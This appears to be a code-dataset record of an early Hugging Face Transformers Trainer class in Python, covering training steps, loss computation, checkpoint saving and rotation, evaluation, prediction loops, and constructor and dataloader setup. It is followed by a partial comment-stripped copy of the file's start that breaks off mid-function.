if hp_space is None else hp_space self.hp_name = hp_name self.compute_objective = default_compute_objective if compute_objective is None else compute_objective run_hp_search = run_hp_search_optuna if backend == HPSearchBackend.OPTUNA else run_hp_search_ray best_run = run_hp_search(self, n_trials, direction, **kwargs) self.hp_search_backend = None return best_run def log(self, logs: Dict[str, float]) -> None: """ Log :obj:`logs` on the various objects watching training. Subclass and override this method to inject custom behavior. Args: logs (:obj:`Dict[str, float]`): The values to log. """ if self.state.epoch is not None: logs["epoch"] = round(self.state.epoch, 2) output = {**logs, **{"step": self.state.global_step}} self.state.log_history.append(output) self.control = self.callback_handler.on_log(self.args, self.state, self.control, logs) def _prepare_inputs(self, inputs: Dict[str, Union[torch.Tensor, Any]]) -> Dict[str, Union[torch.Tensor, Any]]: """ Prepare :obj:`inputs` before feeding them to the model, converting them to tensors if they are not already and handling potential state. """ for k, v in inputs.items(): if isinstance(v, torch.Tensor): inputs[k] = v.to(self.args.device) if self.args.past_index >= 0 and self._past is not None: inputs["mems"] = self._past return inputs def training_step(self, model: nn.Module, inputs: Dict[str, Union[torch.Tensor, Any]]) -> torch.Tensor: """ Perform a training step on a batch of inputs. Subclass and override to inject custom behavior. Args: model (:obj:`nn.Module`): The model to train. inputs (:obj:`Dict[str, Union[torch.Tensor, Any]]`): The inputs and targets of the model. The dictionary will be unpacked before being fed to the model. Most models expect the targets under the argument :obj:`labels`. Check your model's documentation for all accepted arguments. Return: :obj:`torch.Tensor`: The tensor with training loss on this batch. """ model.train() inputs = self._prepare_inputs(inputs) if self.use_amp: with autocast(): loss = self.compute_loss(model, inputs) else: loss = self.compute_loss(model, inputs) if self.args.n_gpu > 1: loss = loss.mean() # mean() to average on multi-gpu parallel training if self.args.gradient_accumulation_steps > 1: loss = loss / self.args.gradient_accumulation_steps if self.use_amp: self.scaler.scale(loss).backward() elif self.use_apex: with amp.scale_loss(loss, self.optimizer) as scaled_loss: scaled_loss.backward() elif self.deepspeed: self.deepspeed.backward(loss) else: loss.backward() return loss.detach() def compute_loss(self, model, inputs, return_outputs=False): """ How the loss is computed by Trainer. By default, all models return the loss in the first element. Subclass and override for custom behavior. """ if self.label_smoother is not None and "labels" in inputs: labels = inputs.pop("labels") else: labels = None outputs = model(**inputs) # Save past state if it exists # TODO: this needs to be fixed and made cleaner later. if self.args.past_index >= 0: self._past = outputs[self.args.past_index] if labels is not None: loss = self.label_smoother(outputs, labels) else: # We don't use .loss here since the model may return tuples instead of ModelOutput. loss = outputs["loss"] if isinstance(outputs, dict) else outputs[0] return (loss, outputs) if return_outputs else loss def is_local_process_zero(self) -> bool: """ Whether or not this process is the local (e.g., on one machine if training in a distributed fashion on several machines) main process. """ if is_torch_tpu_available(): return xm.is_master_ordinal(local=True) else: return self.args.local_rank in [-1, 0] def is_world_process_zero(self) -> bool: """ Whether or not this process is the global main process (when training in a distributed fashion on several machines, this is only going to be :obj:`True` for one process). """ if is_torch_tpu_available(): return xm.is_master_ordinal(local=False) else: return self.args.local_rank == -1 or dist.get_rank() == 0 def save_model(self, output_dir: Optional[str] = None): """ Will save the model, so you can reload it using :obj:`from_pretrained()`. Will only save from the world_master process (unless in TPUs). """ if is_torch_tpu_available(): self._save_tpu(output_dir) elif self.is_world_process_zero(): self._save(output_dir) # If on sagemaker and we are saving the main model (not a checkpoint so output_dir=None), save a copy to # SM_MODEL_DIR for easy deployment. if output_dir is None and os.getenv("SM_MODEL_DIR") is not None: self.save_model(output_dir=os.getenv("SM_MODEL_DIR")) def _save_tpu(self, output_dir: Optional[str] = None): output_dir = output_dir if output_dir is not None else self.args.output_dir logger.info("Saving model checkpoint to %s", output_dir) if xm.is_master_ordinal(): os.makedirs(output_dir, exist_ok=True) torch.save(self.args, os.path.join(output_dir, "training_args.bin")) # Save a trained model and configuration using `save_pretrained()`. # They can then be reloaded using `from_pretrained()` xm.rendezvous("saving_checkpoint") if not isinstance(self.model, PreTrainedModel): logger.info("Trainer.model is not a `PreTrainedModel`, only saving its state dict.") state_dict = self.model.state_dict() xm.save(state_dict, os.path.join(output_dir, WEIGHTS_NAME)) else: self.model.save_pretrained(output_dir) if self.tokenizer is not None and self.is_world_process_zero(): self.tokenizer.save_pretrained(output_dir) def _save(self, output_dir: Optional[str] = None): output_dir = output_dir if output_dir is not None else self.args.output_dir os.makedirs(output_dir, exist_ok=True) logger.info("Saving model checkpoint to %s", output_dir) # Save a trained model and configuration using `save_pretrained()`. # They can then be reloaded using `from_pretrained()` if not isinstance(self.model, PreTrainedModel): logger.info("Trainer.model is not a `PreTrainedModel`, only saving its state dict.") state_dict = self.model.state_dict() torch.save(state_dict, os.path.join(output_dir, WEIGHTS_NAME)) else: self.model.save_pretrained(output_dir) if self.tokenizer is not None and self.is_world_process_zero(): self.tokenizer.save_pretrained(output_dir) # Good practice: save your training arguments together with the trained model torch.save(self.args, os.path.join(output_dir, "training_args.bin")) def store_flos(self): # Storing the number of floating-point operations that went into the model if self._total_flos is not None: if self.args.local_rank != -1: self.state.total_flos = distributed_broadcast_scalars([self._total_flos]).sum().item() else: self.state.total_flos = self._total_flos def _sorted_checkpoints(self, checkpoint_prefix=PREFIX_CHECKPOINT_DIR, use_mtime=False) -> List[str]: ordering_and_checkpoint_path = [] glob_checkpoints = [str(x) for x in Path(self.args.output_dir).glob(f"{checkpoint_prefix}-*")] for path in glob_checkpoints: if use_mtime: ordering_and_checkpoint_path.append((os.path.getmtime(path), path)) else: regex_match = re.match(f".*{checkpoint_prefix}-([0-9]+)", path) if regex_match and regex_match.groups(): ordering_and_checkpoint_path.append((int(regex_match.groups()[0]), path)) checkpoints_sorted = sorted(ordering_and_checkpoint_path) checkpoints_sorted = [checkpoint[1] for checkpoint in checkpoints_sorted] # Make sure we don't delete the best model. if self.state.best_model_checkpoint is not None: best_model_index = checkpoints_sorted.index(str(Path(self.state.best_model_checkpoint))) checkpoints_sorted[best_model_index], checkpoints_sorted[-1] = ( checkpoints_sorted[-1], checkpoints_sorted[best_model_index], ) return checkpoints_sorted def _rotate_checkpoints(self, use_mtime=False) -> None: if self.args.save_total_limit is None or self.args.save_total_limit <= 0: return # Check if we should delete older checkpoint(s) checkpoints_sorted = self._sorted_checkpoints(use_mtime=use_mtime) if len(checkpoints_sorted) <= self.args.save_total_limit: return number_of_checkpoints_to_delete = max(0, len(checkpoints_sorted) - self.args.save_total_limit) checkpoints_to_be_deleted = checkpoints_sorted[:number_of_checkpoints_to_delete] for checkpoint in checkpoints_to_be_deleted: logger.info("Deleting older checkpoint [{}] due to args.save_total_limit".format(checkpoint)) shutil.rmtree(checkpoint) def evaluate( self, eval_dataset: Optional[Dataset] = None, ignore_keys: Optional[List[str]] = None, metric_key_prefix: str = "eval", ) -> Dict[str, float]: """ Run evaluation and returns metrics. The calling script will be responsible for providing a method to compute metrics, as they are task-dependent (pass it to the init :obj:`compute_metrics` argument). You can also subclass and override this method to inject custom behavior. Args: eval_dataset (:obj:`Dataset`, `optional`): Pass a dataset if you wish to override :obj:`self.eval_dataset`. If it is an :obj:`datasets.Dataset`, columns not accepted by the ``model.forward()`` method are automatically removed. It must implement the :obj:`__len__` method. ignore_keys (:obj:`Lst[str]`, `optional`): A list of keys in the output of your model (if it is a dictionary) that should be ignored when gathering predictions. metric_key_prefix (:obj:`str`, `optional`, defaults to :obj:`"eval"`): An optional prefix to be used as the metrics key prefix. For example the metrics "bleu" will be named "eval_bleu" if the prefix is "eval" (default) Returns: A dictionary containing the evaluation loss and the potential metrics computed from the predictions. The dictionary also contains the epoch number which comes from the training state. """ if eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized): raise ValueError("eval_dataset must implement __len__") eval_dataloader = self.get_eval_dataloader(eval_dataset) start_time = time.time() output = self.prediction_loop( eval_dataloader, description="Evaluation", # No point gathering the predictions if there are no metrics, otherwise we defer to # self.args.prediction_loss_only prediction_loss_only=True if self.compute_metrics is None else None, ignore_keys=ignore_keys, metric_key_prefix=metric_key_prefix, ) n_samples = len(eval_dataset if eval_dataset is not None else self.eval_dataset) output.metrics.update(speed_metrics(metric_key_prefix, start_time, n_samples)) self.log(output.metrics) if self.args.tpu_metrics_debug or self.args.debug: # tpu-comment: Logging debug metrics for PyTorch/XLA (compile, execute times, ops, etc.) xm.master_print(met.metrics_report()) self.control = self.callback_handler.on_evaluate(self.args, self.state, self.control, output.metrics) return output.metrics def predict( self, test_dataset: Dataset, ignore_keys: Optional[List[str]] = None, metric_key_prefix: str = "eval" ) -> PredictionOutput: """ Run prediction and returns predictions and potential metrics. Depending on the dataset and your use case, your test dataset may contain labels. In that case, this method will also return metrics, like in :obj:`evaluate()`. Args: test_dataset (:obj:`Dataset`): Dataset to run the predictions on. If it is an :obj:`datasets.Dataset`, columns not accepted by the ``model.forward()`` method are automatically removed. Has to implement the method :obj:`__len__` ignore_keys (:obj:`Lst[str]`, `optional`): A list of keys in the output of your model (if it is a dictionary) that should be ignored when gathering predictions. metric_key_prefix (:obj:`str`, `optional`, defaults to :obj:`"eval"`): An optional prefix to be used as the metrics key prefix. For example the metrics "bleu" will be named "eval_bleu" if the prefix is "eval" (default) .. note:: If your predictions or labels have different sequence length (for instance because you're doing dynamic padding in a token classification task) the predictions will be padded (on the right) to allow for concatenation into one array. The padding index is -100. Returns: `NamedTuple` A namedtuple with the following keys: - predictions (:obj:`np.ndarray`): The predictions on :obj:`test_dataset`. - label_ids (:obj:`np.ndarray`, `optional`): The labels (if the dataset contained some). - metrics (:obj:`Dict[str, float]`, `optional`): The potential dictionary of metrics (if the dataset contained labels). """ if test_dataset is not None and not isinstance(test_dataset, collections.abc.Sized): raise ValueError("test_dataset must implement __len__") test_dataloader = self.get_test_dataloader(test_dataset) start_time = time.time() output = self.prediction_loop( test_dataloader, description="Prediction", ignore_keys=ignore_keys, metric_key_prefix=metric_key_prefix ) output.metrics.update(speed_metrics(metric_key_prefix, start_time, len(test_dataset))) return output def prediction_loop( self, dataloader: DataLoader, description: str, prediction_loss_only: Optional[bool] = None, ignore_keys: Optional[List[str]] = None, metric_key_prefix: str = "eval", ) -> PredictionOutput: """ Prediction/evaluation loop, shared by :obj:`Trainer.evaluate()` and :obj:`Trainer.predict()`. Works both with or without labels. """ if not isinstance(dataloader.dataset, collections.abc.Sized): raise ValueError("dataset must implement __len__") prediction_loss_only = ( prediction_loss_only if prediction_loss_only is not None else self.args.prediction_loss_only ) model = self.model # multi-gpu eval if self.args.n_gpu > 1: model = torch.nn.DataParallel(model) # Note: in torch.distributed mode, there's no point in wrapping the model # inside a DistributedDataParallel as we'll be under `no_grad` anyways. batch_size = dataloader.batch_size num_examples = self.num_examples(dataloader) logger.info("***** Running %s *****", description) logger.info(" Num examples = %d", num_examples) logger.info(" Batch size = %d", batch_size) losses_host: torch.Tensor = None preds_host: Union[torch.Tensor, List[torch.Tensor]] = None labels_host: Union[torch.Tensor, List[torch.Tensor]] = None world_size = 1 if is_torch_tpu_available(): world_size = xm.xrt_world_size() elif self.args.local_rank != -1: world_size = dist.get_world_size() world_size = max(1, world_size) eval_losses_gatherer = DistributedTensorGatherer(world_size, num_examples, make_multiple_of=batch_size) if not prediction_loss_only: preds_gatherer = DistributedTensorGatherer(world_size, num_examples) labels_gatherer = DistributedTensorGatherer(world_size, num_examples) model.eval() if is_torch_tpu_available(): dataloader = pl.ParallelLoader(dataloader, [self.args.device]).per_device_loader(self.args.device) if self.args.past_index >= 0: self._past = None self.callback_handler.eval_dataloader = dataloader for step, inputs in enumerate(dataloader): loss, logits, labels = self.prediction_step(model, inputs, prediction_loss_only, ignore_keys=ignore_keys) if loss is not None: losses = loss.repeat(batch_size) losses_host = losses if losses_host is None else torch.cat((losses_host, losses), dim=0) if logits is not None: preds_host = logits if preds_host is None else nested_concat(preds_host, logits, padding_index=-100) if labels is not None: labels_host = labels if labels_host is None else nested_concat(labels_host, labels, padding_index=-100) self.control = self.callback_handler.on_prediction_step(self.args, self.state, self.control) # Gather all tensors and put them back on the CPU if we have done enough accumulation steps. if self.args.eval_accumulation_steps is not None and (step + 1) % self.args.eval_accumulation_steps == 0: eval_losses_gatherer.add_arrays(self._gather_and_numpify(losses_host, "eval_losses")) if not prediction_loss_only: preds_gatherer.add_arrays(self._gather_and_numpify(preds_host, "eval_preds")) labels_gatherer.add_arrays(self._gather_and_numpify(labels_host, "eval_label_ids")) # Set back to None to begin a new accumulation losses_host, preds_host, labels_host = None, None, None if self.args.past_index and hasattr(self, "_past"): # Clean the state at the end of the evaluation loop delattr(self, "_past") # Gather all remaining tensors and put them back on the CPU eval_losses_gatherer.add_arrays(self._gather_and_numpify(losses_host, "eval_losses")) if not prediction_loss_only: preds_gatherer.add_arrays(self._gather_and_numpify(preds_host, "eval_preds")) labels_gatherer.add_arrays(self._gather_and_numpify(labels_host, "eval_label_ids")) eval_loss = eval_losses_gatherer.finalize() preds = preds_gatherer.finalize() if not prediction_loss_only else None label_ids = labels_gatherer.finalize() if not prediction_loss_only else None if self.compute_metrics is not None and preds is not None and label_ids is not None: metrics = self.compute_metrics(EvalPrediction(predictions=preds, label_ids=label_ids)) else: metrics = {} if eval_loss is not None: metrics[f"{metric_key_prefix}_loss"] = eval_loss.mean().item() # Prefix all keys with metric_key_prefix + '_' for key in list(metrics.keys()): if not key.startswith(f"{metric_key_prefix}_"): metrics[f"{metric_key_prefix}_{key}"] = metrics.pop(key) return PredictionOutput(predictions=preds, label_ids=label_ids, metrics=metrics) def _gather_and_numpify(self, tensors, name): """ Gather value of `tensors` (tensor or list/tuple of nested tensors) and convert them to numpy before concatenating them to `gathered` """ if tensors is None: return if is_torch_tpu_available(): tensors = nested_xla_mesh_reduce(tensors, name) elif self.args.local_rank != -1: tensors = distributed_concat(tensors) return nested_numpify(tensors) def prediction_step( self, model: nn.Module, inputs: Dict[str, Union[torch.Tensor, Any]], prediction_loss_only: bool, ignore_keys: Optional[List[str]] = None, ) -> Tuple[Optional[float], Optional[torch.Tensor], Optional[torch.Tensor]]: """ Perform an evaluation step on :obj:`model` using obj:`inputs`. Subclass and override to inject custom behavior. Args: model (:obj:`nn.Module`): The model to evaluate. inputs (:obj:`Dict[str, Union[torch.Tensor, Any]]`): The inputs and targets of the model. The dictionary will be unpacked before being fed to the model. Most models expect the targets under the argument :obj:`labels`. Check your model's documentation for all accepted arguments. prediction_loss_only (:obj:`bool`): Whether or not to return the loss only. ignore_keys (:obj:`Lst[str]`, `optional`): A list of keys in the output of your model (if it is a dictionary) that should be ignored when gathering predictions. Return: Tuple[Optional[float], Optional[torch.Tensor], Optional[torch.Tensor]]: A tuple with the loss, logits and labels (each being optional). """ has_labels = all(inputs.get(k) is not None for k in self.label_names) inputs = self._prepare_inputs(inputs) if ignore_keys is None: if hasattr(self.model, "config"): ignore_keys = getattr(self.model.config, "keys_to_ignore_at_inference", []) else: ignore_keys = [] with torch.no_grad(): if has_labels: loss, outputs = self.compute_loss(model, inputs, return_outputs=True) loss = loss.mean().detach() if isinstance(outputs, dict): logits = tuple(v for k, v in outputs.items() if k not in ignore_keys + ["loss"]) else: logits = outputs[1:] else: loss = None if self.use_amp: with autocast(): outputs = model(**inputs) else: outputs = model(**inputs) if isinstance(outputs, dict): logits = tuple(v for k, v in outputs.items() if k not in ignore_keys) else: logits = outputs # TODO: this needs to be fixed and made cleaner later. if self.args.past_index >= 0: self._past = outputs[self.args.past_index - 1] if prediction_loss_only: return (loss, None, None) logits = nested_detach(logits) if len(logits) == 1: logits = logits[0] if has_labels: labels = nested_detach(tuple(inputs.get(name) for name in self.label_names)) if len(labels) == 1: labels = labels[0] else: labels = None return (loss, logits, labels) def floating_point_ops(self, inputs: Dict[str, Union[torch.Tensor, Any]]): """ For models that inherit from :class:`~transformers.PreTrainedModel`, uses that method to compute the number of floating point operations for every backward + forward pass. If using another model, either implement such a method in the model or subclass and override this method. Args: inputs (:obj:`Dict[str, Union[torch.Tensor, Any]]`): The inputs and targets of the model. Returns: :obj:`int`: The number of floating-point operations. """ if hasattr(self.model, "floating_point_ops"): return self.model.floating_point_ops(inputs) else: return 0
47.06243
190
0.642626
import collections import inspect import math import os import re import shutil import time import warnings from pathlib import Path from typing import TYPE_CHECKING, Any, Callable, Dict, List, Optional, Tuple, Union from .integrations import ( default_hp_search_backend, get_reporting_integration_callbacks, hp_params, is_fairscale_available, is_optuna_available, is_ray_tune_available, run_hp_search_optuna, run_hp_search_ray, init_deepspeed, ) import numpy as np import torch from packaging import version from torch import nn from torch.utils.data.dataloader import DataLoader from torch.utils.data.dataset import Dataset from torch.utils.data.distributed import DistributedSampler from torch.utils.data.sampler import RandomSampler, SequentialSampler from .data.data_collator import DataCollator, DataCollatorWithPadding, default_data_collator from .file_utils import ( WEIGHTS_NAME, is_apex_available, is_datasets_available, is_in_notebook, is_sagemaker_distributed_available, is_torch_tpu_available, ) from .modeling_utils import PreTrainedModel from .models.auto.modeling_auto import MODEL_FOR_QUESTION_ANSWERING_MAPPING from .optimization import Adafactor, AdamW, get_scheduler from .tokenization_utils_base import PreTrainedTokenizerBase from .trainer_callback import ( CallbackHandler, DefaultFlowCallback, PrinterCallback, ProgressCallback, TrainerCallback, TrainerControl, TrainerState, ) from .trainer_pt_utils import ( DistributedLengthGroupedSampler, DistributedTensorGatherer, LabelSmoother, LengthGroupedSampler, SequentialDistributedSampler, distributed_broadcast_scalars, distributed_concat, nested_concat, nested_detach, nested_numpify, nested_xla_mesh_reduce, reissue_pt_warnings, ) from .trainer_utils import ( PREFIX_CHECKPOINT_DIR, BestRun, EvalPrediction, HPSearchBackend, PredictionOutput, TrainOutput, default_compute_objective, default_hp_space, set_seed, speed_metrics, ) from .training_args import ParallelMode, TrainingArguments from .utils import logging _is_native_amp_available = False DEFAULT_CALLBACKS = [DefaultFlowCallback] DEFAULT_PROGRESS_CALLBACK = ProgressCallback if is_in_notebook(): from .utils.notebook import NotebookProgressCallback DEFAULT_PROGRESS_CALLBACK = NotebookProgressCallback if is_apex_available(): from apex import amp if version.parse(torch.__version__) >= version.parse("1.6"): _is_native_amp_available = True from torch.cuda.amp import autocast if is_datasets_available(): import datasets if is_torch_tpu_available(): import torch_xla.core.xla_model as xm import torch_xla.debug.metrics as met import torch_xla.distributed.parallel_loader as pl if is_fairscale_available(): from fairscale.nn.data_parallel import ShardedDataParallel as ShardedDDP from fairscale.optim import OSS from fairscale.optim.grad_scaler import ShardedGradScaler if is_sagemaker_distributed_available(): import smdistributed.dataparallel.torch.distributed as dist from smdistributed.dataparallel.torch.parallel.distributed import DistributedDataParallel as DDP else: import torch.distributed as dist if TYPE_CHECKING: import optuna logger = logging.get_logger(__name__) def _model_unwrap(model: nn.Module) -> nn.Module: if hasattr(model, "module"): return _model_unwrap(model.module) else: return model class Trainer: def __init__( self, model: Union[PreTrainedModel, torch.nn.Module] = None, args: TrainingArguments = None, data_collator: Optional[DataCollator] = None, train_dataset: Optional[Dataset] = None, eval_dataset: Optional[Dataset] = None, tokenizer: Optional["PreTrainedTokenizerBase"] = None, model_init: Callable[[], PreTrainedModel] = None, compute_metrics: Optional[Callable[[EvalPrediction], Dict]] = None, callbacks: Optional[List[TrainerCallback]] = None, optimizers: Tuple[torch.optim.Optimizer, torch.optim.lr_scheduler.LambdaLR] = (None, None), ): if args is None: output_dir = "tmp_trainer" logger.info(f"No `TrainingArguments` passed, using `output_dir={output_dir}`.") args = TrainingArguments(output_dir=output_dir) self.args = args set_seed(self.args.seed) self.hp_name = None self.deepspeed = None if model is None: if model_init is not None: self.model_init = model_init model = self.call_model_init() else: raise RuntimeError("`Trainer` requires either a `model` or `model_init` argument") else: if model_init is not None: warnings.warn( "`Trainer` requires either a `model` or `model_init` argument, but not both. " "`model_init` will overwrite your model when calling the `train` method. This will become a fatal error in the next release.", FutureWarning, ) self.model_init = model_init if hasattr(model, "is_parallelizable") and model.is_parallelizable and model.model_parallel: self.is_model_parallel = True else: self.is_model_parallel = False default_collator = default_data_collator if tokenizer is None else DataCollatorWithPadding(tokenizer) self.data_collator = data_collator if data_collator is not None else default_collator self.train_dataset = train_dataset self.eval_dataset = eval_dataset self.tokenizer = tokenizer if not self.is_model_parallel: model = model.to(args.device) else: self.args._n_gpu = 1 self.model_wrapped = model self.model = model self.compute_metrics = compute_metrics self.optimizer, self.lr_scheduler = optimizers if model_init is not None and (self.optimizer is not None or self.lr_scheduler is not None): raise RuntimeError( "Passing a `model_init` is incompatible with providing the `optimizers` argument." "You should subclass `Trainer` and override the `create_optimizer_and_scheduler` method." ) default_callbacks = DEFAULT_CALLBACKS + get_reporting_integration_callbacks(self.args.report_to) callbacks = default_callbacks if callbacks is None else default_callbacks + callbacks self.callback_handler = CallbackHandler( callbacks, self.model, self.tokenizer, self.optimizer, self.lr_scheduler ) self.add_callback(PrinterCallback if self.args.disable_tqdm else DEFAULT_PROGRESS_CALLBACK) # Will be set to True by `self._setup_loggers()` on first call to `self.log()`. self._loggers_initialized = False # Create output directory if needed if self.is_world_process_zero(): os.makedirs(self.args.output_dir, exist_ok=True) if is_torch_tpu_available() and isinstance(self.model, PreTrainedModel): # Set an xla_device flag on the model's config. self.model.config.xla_device = True if not callable(self.data_collator) and callable(getattr(self.data_collator, "collate_batch", None)): raise ValueError("The `data_collator` should be a simple callable (function, class with `__call__`).") if args.max_steps > 0: logger.info("max_steps is given, it will override any value given in num_train_epochs") # Enforce rules on using datasets with no __len__ if train_dataset is not None and not isinstance(train_dataset, collections.abc.Sized) and args.max_steps <= 0: raise ValueError("train_dataset does not implement __len__, max_steps has to be specified") if eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized): raise ValueError("eval_dataset must implement __len__") if is_datasets_available(): if isinstance(train_dataset, datasets.Dataset): self._remove_unused_columns(self.train_dataset, description="training") if isinstance(eval_dataset, datasets.Dataset): self._remove_unused_columns(self.eval_dataset, description="evaluation") # Setup Sharded DDP training self.sharded_dpp = False if args.sharded_ddp: if args.deepspeed: raise ValueError( "Using --sharded_ddp together with --deepspeed is not possible, deactivate one of those flags." ) if args.local_rank == -1: raise ValueError("Using sharded DDP only works in distributed training.") elif not is_fairscale_available(): raise ImportError("Sharded DDP training requires fairscale: `pip install fairscale`.") else: self.sharded_dpp = True # Mixed precision setup self.use_apex = False self.use_amp = False self.fp16_backend = None if args.fp16: if args.fp16_backend == "auto": self.fp16_backend = "amp" if _is_native_amp_available else "apex" else: self.fp16_backend = args.fp16_backend logger.info(f"Using {self.fp16_backend} fp16 backend") if args.fp16 and not args.deepspeed: # deepspeed manages its own fp16 if self.fp16_backend == "amp": self.use_amp = True self.scaler = ShardedGradScaler() if self.sharded_dpp else torch.cuda.amp.GradScaler() else: if not is_apex_available(): raise ImportError( "Using FP16 with APEX but APEX is not installed, please refer to https://www.github.com/nvidia/apex." ) self.use_apex = True # Label smoothing if self.args.label_smoothing_factor != 0: self.label_smoother = LabelSmoother(epsilon=self.args.label_smoothing_factor) else: self.label_smoother = None self.state = TrainerState() self.control = TrainerControl() # Internal variable for total_flos used to count as tensors (for distributed + TPU), will be sent in the # state at each call to self.log. self._total_flos = None self.hp_search_backend = None self.use_tune_checkpoints = False default_label_names = ( ["start_positions", "end_positions"] if type(self.model) in MODEL_FOR_QUESTION_ANSWERING_MAPPING.values() else ["labels"] ) self.label_names = default_label_names if self.args.label_names is None else self.args.label_names self.control = self.callback_handler.on_init_end(self.args, self.state, self.control) def add_callback(self, callback): self.callback_handler.add_callback(callback) def pop_callback(self, callback): return self.callback_handler.pop_callback(callback) def remove_callback(self, callback): self.callback_handler.remove_callback(callback) def _remove_unused_columns(self, dataset: "datasets.Dataset", description: Optional[str] = None): if not self.args.remove_unused_columns: return # Inspect model forward signature to keep only the arguments it accepts. signature = inspect.signature(self.model.forward) signature_columns = list(signature.parameters.keys()) # Labels may be named label or label_ids, the default data collator handles that. signature_columns += ["label", "label_ids"] columns = [k for k in signature_columns if k in dataset.column_names] ignored_columns = list(set(dataset.column_names) - set(signature_columns)) dset_description = "" if description is None else f"in the {description} set " logger.info( f"The following columns {dset_description}don't have a corresponding argument in `{self.model.__class__.__name__}.forward` and have been ignored: {', '.join(ignored_columns)}." ) dataset.set_format(type=dataset.format["type"], columns=columns) def _get_train_sampler(self) -> Optional[torch.utils.data.sampler.Sampler]: if isinstance(self.train_dataset, torch.utils.data.IterableDataset) or not isinstance( self.train_dataset, collections.abc.Sized ): return None if self.args.parallel_mode == ParallelMode.TPU: num_processes = xm.xrt_world_size() process_index = xm.get_ordinal() elif ( self.args.parallel_mode == ParallelMode.DISTRIBUTED or self.args.parallel_mode == ParallelMode.SAGEMAKER_DISTRIBUTED ): num_processes = dist.get_world_size() process_index = dist.get_rank() else: num_processes = 1 process_index = 0 if self.args.group_by_length: if num_processes <= 1: return LengthGroupedSampler(self.train_dataset, self.args.train_batch_size) else: return DistributedLengthGroupedSampler( self.train_dataset, self.args.train_batch_size, num_replicas=num_processes, rank=process_index ) else: if num_processes <= 1: return RandomSampler(self.train_dataset) else: return DistributedSampler(self.train_dataset, num_replicas=num_processes, rank=process_index) def get_train_dataloader(self) -> DataLoader: if self.train_dataset is None: raise ValueError("Trainer: training requires a train_dataset.") train_sampler = self._get_train_sampler() return DataLoader( self.train_dataset, batch_size=self.args.train_batch_size, sampler=train_sampler, collate_fn=self.data_collator, drop_last=self.args.dataloader_drop_last, num_workers=self.args.dataloader_num_workers, pin_memory=self.args.dataloader_pin_memory, ) def _get_eval_sampler(self, eval_dataset: Dataset) -> Optional[torch.utils.data.sampler.Sampler]: if is_torch_tpu_available(): return SequentialDistributedSampler(eval_dataset, num_replicas=xm.xrt_world_size(), rank=xm.get_ordinal()) elif self.args.local_rank != -1: return SequentialDistributedSampler(eval_dataset) else: return SequentialSampler(eval_dataset) def get_eval_dataloader(self, eval_dataset: Optional[Dataset] = None) -> DataLoader: if eval_dataset is None and self.eval_dataset is None: raise ValueError("Trainer: evaluation requires an eval_dataset.") elif eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized): raise ValueError("eval_dataset must implement __len__") elif is_datasets_available() and isinstance(eval_dataset, datasets.Dataset): self._remove_unused_columns(eval_dataset, description="evaluation") eval_dataset = eval_dataset if eval_dataset is not None else self.eval_dataset eval_sampler = self._get_eval_sampler(eval_dataset) return DataLoader( eval_dataset, sampler=eval_sampler, batch_size=self.args.eval_batch_size, collate_fn=self.data_collator, drop_last=self.args.dataloader_drop_last, num_workers=self.args.dataloader_num_workers, pin_memory=self.args.dataloader_pin_memory, ) def get_test_dataloader(self, test_dataset: Dataset) -> DataLoader: if not isinstance(test_dataset, collections.abc.Sized): raise ValueError("test_dataset must implement __len__") elif is_datasets_available() and isinstance(test_dataset, datasets.Dataset): self._remove_unused_columns(test_dataset, description="test") test_sampler = self._get_eval_sampler(test_dataset) return DataLoader( test_dataset, sampler=test_sampler, batch_size=self.args.eval_batch_size, collate_fn=self.data_collator, drop_last=self.args.dataloader_drop_last, pin_memory=self.args.dataloader_pin_memory, ) def create_optimizer_and_scheduler(self, num_training_steps: int): if self.optimizer is None: no_decay = ["bias", "LayerNorm.weight"] optimizer_grouped_parameters = [ { "params": [p for n, p in self.model.named_parameters() if not any(nd in n for nd in no_decay)], "weight_decay": self.args.weight_decay, }, { "params": [p for n, p in self.model.named_parameters() if any(nd in n for nd in no_decay)], "weight_decay": 0.0, }, ] optimizer_cls = Adafactor if self.args.adafactor else AdamW if self.args.adafactor: optimizer_cls = Adafactor optimizer_kwargs = {"scale_parameter": False, "relative_step": False} else: optimizer_cls = AdamW optimizer_kwargs = { "betas": (self.args.adam_beta1, self.args.adam_beta2), "eps": self.args.adam_epsilon, } optimizer_kwargs["lr"] = self.args.learning_rate if self.sharded_dpp: self.optimizer = OSS( params=optimizer_grouped_parameters, optim=optimizer_cls, **optimizer_kwargs, ) else: self.optimizer = optimizer_cls(optimizer_grouped_parameters, **optimizer_kwargs) if self.lr_scheduler is None: self.lr_scheduler = get_scheduler( self.args.lr_scheduler_type, self.optimizer, num_warmup_steps=self.args.warmup_steps, num_training_steps=num_training_steps, ) def num_examples(self, dataloader: DataLoader) -> int: return len(dataloader.dataset) def _hp_search_setup(self, trial: Union["optuna.Trial", Dict[str, Any]]): self._trial = trial if self.hp_search_backend is None or trial is None: return params = self.hp_space(trial) if self.hp_search_backend == HPSearchBackend.OPTUNA else trial for key, value in params.items(): if not hasattr(self.args, key): raise AttributeError( f"Trying to set {key} in the hyperparameter search but there is no corresponding field in `TrainingArguments`." ) old_attr = getattr(self.args, key, None) if old_attr is not None: value = type(old_attr)(value) setattr(self.args, key, value) if self.hp_search_backend == HPSearchBackend.OPTUNA: logger.info("Trial:", trial.params) def _report_to_hp_search( self, trial: Union["optuna.Trial", Dict[str, Any]], epoch: int, metrics: Dict[str, float] ): if self.hp_search_backend is None or trial is None: return self.objective = self.compute_objective(metrics.copy()) if self.hp_search_backend == HPSearchBackend.OPTUNA: import optuna trial.report(self.objective, epoch) if trial.should_prune(): raise optuna.TrialPruned() elif self.hp_search_backend == HPSearchBackend.RAY: from ray import tune if self.state.global_step % self.args.save_steps == 0: self._tune_save_checkpoint() tune.report(objective=self.objective, **metrics) def _tune_save_checkpoint(self): from ray import tune if not self.use_tune_checkpoints: return with tune.checkpoint_dir(step=self.state.global_step) as checkpoint_dir: self.args.output_dir = checkpoint_dir output_dir = os.path.join(self.args.output_dir, f"{PREFIX_CHECKPOINT_DIR}-{self.state.global_step}") self.save_model(output_dir) if self.is_world_process_zero(): self.state.save_to_json(os.path.join(output_dir, "trainer_state.json")) torch.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt")) torch.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt")) def call_model_init(self, trial=None): model_init_argcount = len(inspect.signature(self.model_init).parameters) if model_init_argcount == 0: model = self.model_init() elif 